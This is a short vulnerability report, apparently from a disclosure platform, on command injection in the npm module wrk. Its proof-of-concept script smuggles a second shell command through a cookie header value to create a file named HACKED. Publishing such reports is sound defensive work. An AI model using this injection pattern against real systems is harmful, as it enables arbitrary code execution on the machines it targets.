Code Injection in sidorares/node-wrk


Reported on

Apr 21st 2020


The wrk module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var wrk = require('wrk');
wrk({ threads: 1, connections: ['s','aaa'], duration: '10s', printLatency: true, headers: { cookie: 'test \'; touch HACKED; #' }, url: 'http://localhost:3000/' }); //Error !! --> any problem
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i wrk # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created


to join this conversation